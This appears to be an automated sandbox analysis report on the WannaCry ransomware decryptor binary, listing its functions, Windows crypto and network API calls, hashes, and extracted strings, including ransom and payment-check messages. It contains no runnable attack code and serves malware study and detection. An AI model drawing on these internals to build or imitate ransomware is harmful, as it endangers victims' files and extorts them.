                                                                                                                          • API ID: ??0exception@@ExceptionThrow
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 941485209-0
                                                                                                                          • Opcode ID: e2a5344183224385ce8cc6f64ef416fa8b7c135a3dae7c4b4300b22148696450
                                                                                                                          • Instruction ID: 9bf03c186ab60868eb4058f96665f2b4dca6c7ab88ed953fee9cff2198bbc34e
                                                                                                                          • Opcode Fuzzy Hash: e2a5344183224385ce8cc6f64ef416fa8b7c135a3dae7c4b4300b22148696450
                                                                                                                          • Instruction Fuzzy Hash: D691BE756083858FC718CF28D8805AABBE2FFC9308F14487EE989D7351C634E956CB99
                                                                                                                          Function 004046F0 Relevance: 1.5, APIs: 1, Instructions: 46encryptionCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                            • Part of subcall function 004046B0: CryptAcquireContextA.ADVAPI32(?,00000000,00000000,00000018,F0000000,?,?,0040484E), ref: 004046CD
                                                                                                                          • CryptImportKey.ADVAPI32(?,00420794,00000494,00000000,00000000,?,?,00402031,?), ref: 00404727
                                                                                                                            • Part of subcall function 00404770: CryptDestroyKey.ADVAPI32(?,?,004049AD,00404990), ref: 0040477B
                                                                                                                            • Part of subcall function 00404770: CryptDestroyKey.ADVAPI32(?,?,004049AD,00404990), ref: 00404790
                                                                                                                            • Part of subcall function 00404770: CryptReleaseContext.ADVAPI32(FFFFFFFF,00000000,?,004049AD,00404990), ref: 004047A7
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: Crypt$ContextDestroy$AcquireImportRelease
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 3621138593-0
                                                                                                                          • Opcode ID: 9403bbdd090a9753ee064b817ff4eb55f6c4c80258570a396feff9da41e395ed
                                                                                                                          • Instruction ID: d4e90e0c2f988709a992e7d604814048f9cd1a1bd42c9a5a50fcd20aee9fd3f8
                                                                                                                          • Opcode Fuzzy Hash: 9403bbdd090a9753ee064b817ff4eb55f6c4c80258570a396feff9da41e395ed
                                                                                                                          • Instruction Fuzzy Hash: 5DF019F130425156E660E675A942F9B62998BE1B08F00483BF605E72D1EB78EC42829C
                                                                                                                          Function 004046B0 Relevance: 1.5, APIs: 1, Instructions: 26encryptionCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • CryptAcquireContextA.ADVAPI32(?,00000000,00000000,00000018,F0000000,?,?,0040484E), ref: 004046CD
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: AcquireContextCrypt
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 3951991833-0
                                                                                                                          • Opcode ID: bfca8852325fc6aa5ed2ff2f6e8500fcc0a6d4c389fe5d637677a2daa5e65efa
                                                                                                                          • Instruction ID: 312dc029323720c7b5bb6801e757edcf2da9b650c6ce32f76f805a45e944d122
                                                                                                                          • Opcode Fuzzy Hash: bfca8852325fc6aa5ed2ff2f6e8500fcc0a6d4c389fe5d637677a2daa5e65efa
                                                                                                                          • Instruction Fuzzy Hash: 63E0C27B35003029E320042ABC05BE786C8D7E2B61F014436FD05E6184D1598C8780D8
                                                                                                                          Function 0040DB80 Relevance: 1.5, APIs: 1, Instructions: 9networkCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • recv.WS2_32(?,?,?,00000000), ref: 0040DB91
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: recv
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 1507349165-0
                                                                                                                          • Opcode ID: 1d9f9cd7d87b293edf20ef63389b80cde037e3ff80316bdb179f77fce595cd06
                                                                                                                          • Instruction ID: 7776e5be7928a6c2c2562dd3bb1774681ff5e82bf649542f35cb965541f1d725
                                                                                                                          • Opcode Fuzzy Hash: 1d9f9cd7d87b293edf20ef63389b80cde037e3ff80316bdb179f77fce595cd06
                                                                                                                          • Instruction Fuzzy Hash: 0BC04CB9204300FFD204CB10CD85F6BB7A9EBD4711F10C90DB98D86254C670EC10DA65
                                                                                                                          Function 0040DF30 Relevance: .5, Instructions: 515COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID:
                                                                                                                          • String ID:
                                                                                                                          • API String ID:
                                                                                                                          • Opcode ID: 9b8eabf12bd29c3c38fc8e7bc8212d9d6bf0432072041c2816a53c5bd799d9a5
                                                                                                                          • Instruction ID: e5ae74944e208cb03c60f72bb217c75502e03934b58f7a9b199ce6c2a9593854
                                                                                                                          • Opcode Fuzzy Hash: 9b8eabf12bd29c3c38fc8e7bc8212d9d6bf0432072041c2816a53c5bd799d9a5
                                                                                                                          • Instruction Fuzzy Hash: 5E2239B46083018FC308CF29D590A2ABBE1FF88354F148A6EE49AD7751D734E955CF5A
                                                                                                                          Function 00410460 Relevance: .4, Instructions: 377COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID:
                                                                                                                          • String ID:
                                                                                                                          • API String ID:
                                                                                                                          • Opcode ID: 5ba8141ea2280d0230f62837d297c6f142902cf6410748b00ceee70376d87497
                                                                                                                          • Instruction ID: d75a74fb3a0dfdb81fbbcc262e1caa4e3a0368247a27923ffbf4d457c3a86cdc
                                                                                                                          • Opcode Fuzzy Hash: 5ba8141ea2280d0230f62837d297c6f142902cf6410748b00ceee70376d87497
                                                                                                                          • Instruction Fuzzy Hash: E4E105B5600A018FD334CF19D490A62FBF2EF89310B25C96ED4AACB761D775E886CB54
                                                                                                                          Function 0040FBC0 Relevance: .4, Instructions: 359COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID:
                                                                                                                          • String ID:
                                                                                                                          • API String ID:
                                                                                                                          • Opcode ID: d6486e9592c2cb46b2c7999eca97cef0babd6418c513dfe1291d56d14bfb9792
                                                                                                                          • Instruction ID: 2ca3a7e0973b0a9ded1865a7ec8cc067e044c270efaf411a13bb96b1b7e56096
                                                                                                                          • Opcode Fuzzy Hash: d6486e9592c2cb46b2c7999eca97cef0babd6418c513dfe1291d56d14bfb9792
                                                                                                                          • Instruction Fuzzy Hash: DDD1B73560C3418FC718CF2CD59016ABBE1EB99310F19497EE9DAA3756C734E819CB89
                                                                                                                          Function 00410180 Relevance: .1, Instructions: 127COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID:
                                                                                                                          • String ID:
                                                                                                                          • API String ID:
                                                                                                                          • Opcode ID: 0b4f27dd10139f30faea009d98bf7d04ad43b169fe1efa635cf320682f8d45aa
                                                                                                                          • Instruction ID: 6bb151cab00cdc0290d3db98aa961ff277c67549bb944e7b7c7e1e2eea59e94c
                                                                                                                          • Opcode Fuzzy Hash: 0b4f27dd10139f30faea009d98bf7d04ad43b169fe1efa635cf320682f8d45aa
                                                                                                                          • Instruction Fuzzy Hash: A1314D3374558203F71DCA2F8CA12FAEAD34FD522872DD57E99C987356ECFA48564104
                                                                                                                          Function 0040FF90 Relevance: .1, Instructions: 109COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID:
                                                                                                                          • String ID:
                                                                                                                          • API String ID:
                                                                                                                          • Opcode ID: 5d39ba973bdaee26a7e96979db138631e8a564ea24786ef9523c099e99afe77a
                                                                                                                          • Instruction ID: cecdefe8fda50f928b4117980ad8d25e533be349777a256c316ace181cfd3b57
                                                                                                                          • Opcode Fuzzy Hash: 5d39ba973bdaee26a7e96979db138631e8a564ea24786ef9523c099e99afe77a
                                                                                                                          • Instruction Fuzzy Hash: 1E31A6627A959207D350CEBEAC90277BB93D7DB306B6CC678D584C7A0EC579D8078244
                                                                                                                          Function 004090F0 Relevance: 56.5, APIs: 21, Strings: 11, Instructions: 454windowCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: #2414#540#5875#6170#800#860$#2818#2860#3874ExtentMessageObjectPoint32SendTextViewportWindow_ftol
                                                                                                                          • String ID: %d%%$gfff$pgA$pgA$tgA$tgA$xgA$xgA$|gA$|gA$[A
                                                                                                                          • API String ID: 2923375784-3599407550
                                                                                                                          • Opcode ID: 7e6b703d67e7595773a4bd55965276fd3caf6c6c14634650179ea244f19e8907
                                                                                                                          • Instruction ID: e7c60e05cab477c723c52aa9b6021990c4bcf2d63edfa6d200c8e4e6b3644932
                                                                                                                          • Opcode Fuzzy Hash: 7e6b703d67e7595773a4bd55965276fd3caf6c6c14634650179ea244f19e8907
                                                                                                                          • Instruction Fuzzy Hash: D312E2B0208381DFD714CF69C484A9BBBE5BBC8304F148A2EF89997391D774E945CB66
                                                                                                                          Function 00405230 Relevance: 49.8, APIs: 33, Instructions: 279COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • #940.MFC42(?), ref: 0040527D
                                                                                                                          • #4277.MFC42(?,00000001), ref: 004052A0
                                                                                                                          • #923.MFC42(?,00000000,?), ref: 004052B8
                                                                                                                          • #858.MFC42(00000000,?,00000000,?), ref: 004052C5
                                                                                                                          • #800.MFC42(00000000,?,00000000,?), ref: 004052D3
                                                                                                                          • #800.MFC42(00000000,?,00000000,?), ref: 004052E4
                                                                                                                          • #4129.MFC42(?,?), ref: 004052FC
                                                                                                                          • #5710.MFC42 ref: 00405314
                                                                                                                          • #922.MFC42(?,00000000,00000000), ref: 00405326
                                                                                                                          • #858.MFC42(00000000,?,00000000,00000000), ref: 00405333
                                                                                                                          • #800.MFC42(00000000,?,00000000,00000000), ref: 00405340
                                                                                                                          • #800.MFC42(00000000,?,00000000,00000000), ref: 0040534E
                                                                                                                          • #800.MFC42(00000000,?,00000000,00000000), ref: 0040535F
                                                                                                                          • #940.MFC42(?), ref: 00405396
                                                                                                                          • #5710.MFC42(?,?), ref: 004053B8
                                                                                                                          • #4129.MFC42(?,?,?,?), ref: 004053D7
                                                                                                                          • #922.MFC42(?,?,00000000,?,?,?,?), ref: 004053ED
                                                                                                                          • #858.MFC42(00000000,?,?,00000000,?,?,?,?), ref: 004053FA
                                                                                                                          • #800.MFC42(00000000,?,?,00000000,?,?,?,?), ref: 00405407
                                                                                                                          • #800.MFC42(00000000,?,?,00000000,?,?,?,?), ref: 00405415
                                                                                                                          • #800.MFC42(00000000,?,?,00000000,?,?,?,?), ref: 00405426
                                                                                                                          • #4129.MFC42(?,?), ref: 00405443
                                                                                                                          • #4277.MFC42(?,?,?,?), ref: 0040545B
                                                                                                                          • #922.MFC42(?,00000000,?,?,?,?,?), ref: 00405471
                                                                                                                          • #858.MFC42(00000000,?,00000000,?,?,?,?,?), ref: 0040547E
                                                                                                                          • #800.MFC42(00000000,?,00000000,?,?,?,?,?), ref: 0040548B
                                                                                                                          • #800.MFC42(00000000,?,00000000,?,?,?,?,?), ref: 00405499
                                                                                                                          • #800.MFC42(00000000,?,00000000,?,?,?,?,?), ref: 004054AA
                                                                                                                          • #6778.MFC42(?,00000001), ref: 004054EA
                                                                                                                          • #6648.MFC42(00000000,00000001,?,00000001), ref: 004054F4
                                                                                                                          • #6778.MFC42(00000000,?), ref: 00405536
                                                                                                                          • #6648.MFC42(?,00000001,00000000,?), ref: 00405545
                                                                                                                          • InvalidateRect.USER32(?,00000000,00000001), ref: 0040555A
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: #800$#858$#4129#922$#4277#5710#6648#6778#940$#923InvalidateRect
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 2121400562-0
                                                                                                                          • Opcode ID: b4a9873a0028e0a5de6b54efbba54189251206de77b36b87668466cc29092242
                                                                                                                          • Instruction ID: 4ea7c19ebb0ecad4eacefd8b4ebc091e45acf9db756171f3a68d6c32b1a6cadd
                                                                                                                          • Opcode Fuzzy Hash: b4a9873a0028e0a5de6b54efbba54189251206de77b36b87668466cc29092242
                                                                                                                          • Instruction Fuzzy Hash: A4A1B770204B81AFC714DB29C590A6FB7E6EFD4304F040A1EF596D3391D7B8E8558B66
                                                                                                                          Function 004086E0 Relevance: 40.6, APIs: 20, Strings: 3, Instructions: 324windowCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • #470.MFC42 ref: 00408708
                                                                                                                          • GetClientRect.USER32(?,?), ref: 0040871F
                                                                                                                          • SendMessageA.USER32(?,00000408,00000000,00000000), ref: 00408730
                                                                                                                          • #6734.MFC42(?,?), ref: 00408746
                                                                                                                          • #323.MFC42(?,?), ref: 0040874F
                                                                                                                          • CreateCompatibleDC.GDI32(?), ref: 004087D2
                                                                                                                          • #1640.MFC42(00000000), ref: 004087DD
                                                                                                                            • Part of subcall function 00409E70: CreateCompatibleBitmap.GDI32(?,?,?), ref: 00409E85
                                                                                                                            • Part of subcall function 00409E70: #1641.MFC42(00000000,?,00408809,?,?,?,00000000), ref: 00409E8E
                                                                                                                            • Part of subcall function 00409F10: #5785.MFC42(?,?,00408A5E,?,?,?,?,?,?,?,?,00CC0020), ref: 00409F1D
                                                                                                                          • #6194.MFC42(?,?,?,\gA,?,?,?,00000000), ref: 00408831
                                                                                                                          • FillRect.USER32(?,?,?), ref: 0040887D
                                                                                                                          • #2754.MFC42(?,?), ref: 00408892
                                                                                                                          • #2381.MFC42(?,?,?), ref: 0040889F
                                                                                                                          • #3797.MFC42(?,?,?), ref: 004088C0
                                                                                                                          • _ftol.MSVCRT ref: 00408951
                                                                                                                          • _ftol.MSVCRT ref: 0040896F
                                                                                                                          • FillRect.USER32(?,00000000,00000000), ref: 004089B0
                                                                                                                          • #640.MFC42(?,?,?), ref: 00408B09
                                                                                                                          • #755.MFC42(?,?,?), ref: 00408B20
                                                                                                                            • Part of subcall function 00409F80: BitBlt.GDI32(?,?,?,?,\gA,?,\gA,\gA,\gA), ref: 00409FB3
                                                                                                                            • Part of subcall function 00409F10: #5785.MFC42(?,?,00408A5E,?,?,?,?,?,?,?,?,00CC0020), ref: 00409F2D
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: Rect$#5785CompatibleCreateFill_ftol$#1640#1641#2381#2754#323#3797#470#6194#640#6734#755BitmapClientMessageSend
                                                                                                                          • String ID: \gA$fA$fA
                                                                                                                          • API String ID: 1027735583-2217880857
                                                                                                                          • Opcode ID: 6ed80f763e045306e10188d4e497fb721b5fce89834b9b0f8741aa09041edacc
                                                                                                                          • Instruction ID: b72dd9534e9f1d52b621f8c4883ea919de29669ae4f9aefa89eb3b477b52946b
                                                                                                                          • Opcode Fuzzy Hash: 6ed80f763e045306e10188d4e497fb721b5fce89834b9b0f8741aa09041edacc
                                                                                                                          • Instruction Fuzzy Hash: 33D12CB16083419FC314DF25C984AAFBBE9BBC8304F508E2EF1D993291DB749949CB56
                                                                                                                          Function 00402AF0 Relevance: 40.4, APIs: 12, Strings: 11, Instructions: 133COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: _wcsicmp$_wcsnicmpwcsstr
                                                                                                                          • String ID: This folder protects against ransomware. Modifying it will reduce protection$Content.IE5$N(@$Temporary Internet Files$\AppData\Local\Temp$\Intel$\Local Settings\Temp$\Program Files$\Program Files (x86)$\ProgramData$\WINDOWS
                                                                                                                          • API String ID: 2817753184-2613825984
                                                                                                                          • Opcode ID: 5c5dcd1e390a91f16435822322ea41988894e25d1b71caeb8710faf8d967a9e6
                                                                                                                          • Instruction ID: 690a6d88e0cbcba8c0a0bc490ea4abea364cf6131422823267360e98b5ddcfca
                                                                                                                          • Opcode Fuzzy Hash: 5c5dcd1e390a91f16435822322ea41988894e25d1b71caeb8710faf8d967a9e6
                                                                                                                          • Instruction Fuzzy Hash: 3831843235162023D520691D7D4AFCB638C8FE5727F554033FD44E52C1E29EB96A82BD
                                                                                                                          Function 00401760 Relevance: 38.6, APIs: 17, Strings: 5, Instructions: 140filesynchronizationthreadCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • #6453.MFC42 ref: 00401780
                                                                                                                          • WaitForSingleObject.KERNEL32(?,00000BB8), ref: 00401797
                                                                                                                          • TerminateThread.KERNEL32(?,00000000), ref: 004017A5
                                                                                                                          • CloseHandle.KERNEL32(?), ref: 004017B2
                                                                                                                          • sprintf.MSVCRT ref: 00401811
                                                                                                                          • fopen.MSVCRT ref: 00401821
                                                                                                                          • fread.MSVCRT ref: 00401844
                                                                                                                          • fclose.MSVCRT ref: 0040184D
                                                                                                                          • DeleteFileA.KERNEL32(?), ref: 0040185B
                                                                                                                          • #537.MFC42(You have a new message:), ref: 00401885
                                                                                                                          • #924.MFC42(?,00000000,?,You have a new message:), ref: 0040189C
                                                                                                                          • #1200.MFC42 ref: 004018AF
                                                                                                                          • #800.MFC42 ref: 004018BF
                                                                                                                          • #800.MFC42 ref: 004018D3
                                                                                                                          • #1200.MFC42(You did not pay or we did not confirmed your payment!Pay now if you didn't and check again after 2 hours.Best time to check: 9:00am - 11:00am GMT from Monday to Friday.,000000F0,00000000), ref: 004018E5
                                                                                                                          Strings
                                                                                                                          • %08X.dky, xrefs: 0040180A
                                                                                                                          • Failed to check your payment!Please make sure that your computer is connected to the Internet and your Internet Service Provider (ISP) does not block connections to the TOR Network!, xrefs: 00401918
                                                                                                                          • You did not pay or we did not confirmed your payment!Pay now if you didn't and check again after 2 hours.Best time to check: 9:00am - 11:00am GMT from Monday to Friday., xrefs: 004018E0, 00401925
                                                                                                                          • Congratulations! Your payment has been checked!Start decrypting now!, xrefs: 00401934
                                                                                                                          • You have a new message:, xrefs: 00401877
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: #1200#800$#537#6453#924CloseDeleteFileHandleObjectSingleTerminateThreadWaitfclosefopenfreadsprintf
